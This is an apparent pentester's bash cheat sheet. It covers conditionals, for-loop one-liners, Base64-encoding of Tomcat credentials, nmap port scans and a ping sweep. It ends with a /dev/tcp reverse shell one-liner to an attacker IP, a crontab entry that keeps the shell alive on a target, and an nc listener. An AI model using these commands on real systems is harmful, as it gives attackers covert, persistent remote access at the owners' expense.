Table of Contents

Bash

All your happy shiny bash scripts must start with a shebang:

#!/bin/bash

Conditional Statements

How-To: https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-6.html

Basic Structure:

#!/bin/bash
if [ "foo" = "foo" ]; then
    echo expression evaluated as true
else 
    echo expression evaluated as false
fi

Example:

#!/bin/bash

echo "Enter username: "
read un

echo "Enter password: "
read pw

if [[ "$un" = "admin" && "$pw" = "superuser" ]]; then
    echo "Login Successful"
fi

NOTE: The == operator is non-standard

if [[ "$x" == "valid" ]]; then
if [ "$x" = "valid" ]; then

For Loop One-Liners

Run a command 5 times:

for i in {1..5}; do COMMAND-HERE; done           #does command 5 times
for (( c=1; c<=5; c++ )); do COMMAND-HERE; done  #same as above
for i in {0..10..2}; do COMMAND-HERE; done       #same but steps by 2

Or…

for((i=1;i<=10;i+=2)); do echo "Welcome $i times"; done

Work On Files:

# General
for i in *; do echo $i; done

# To encode multiple username:password combos in a text file to Base64
for cred in $(cat tomcat.txt); do echo -n $cred | base64; done

# Same as above, but appended to a text file
for cred in $(cat tomcat.txt); do echo -n $cred | base64 >> tomcat_base64.txt; done

# NOTE: The -n on the echo is necessary to NOT output the trailing newline character to the encoder

Or…

for i in /etc/*.conf; do cp $i /backup; done

My example iplist.txt:

for ip in $(cat iplist.txt); do nmap -sS -p 80 -T4 $ip; done

Or…

for ip in $(cat iplist.txt); do nmap -sS -p 80 -T4 $ip & done

Ping Sweep

Simple sweep of a network for a quick look at what machines are out there (and respond):

for i in {1..254}
do
    ping -w 5 -c 1 192.168.0.$i | grep "64 bytes" | cut -d " " -f 4 | tr -d ":" &
done

wait # no args, wait until all background processes to finish

Note the “&” at the end. This will speed things up a lot.


Reverse Shell One-Liner

/bin/bash -c 'bash -i &> /dev/tcp/[attack ip]/[port] 0>&1'

From the Bash manpage:

For persistence on a target: Include this one-liner in a crontab entry (i.e., a cronjob) that executes every minute of every day, etc.

echo "* * * * * /bin/bash -c 'bash -i &> /dev/tcp/[attack ip]/[port] 0>&1'" > gk_cron_job
crontab -i gk_cron_job
crontab -l              # list user's crontab and verify

Set up a listener on the attack machine (nc -nvlp [port#]) and it should connect within 1 minute.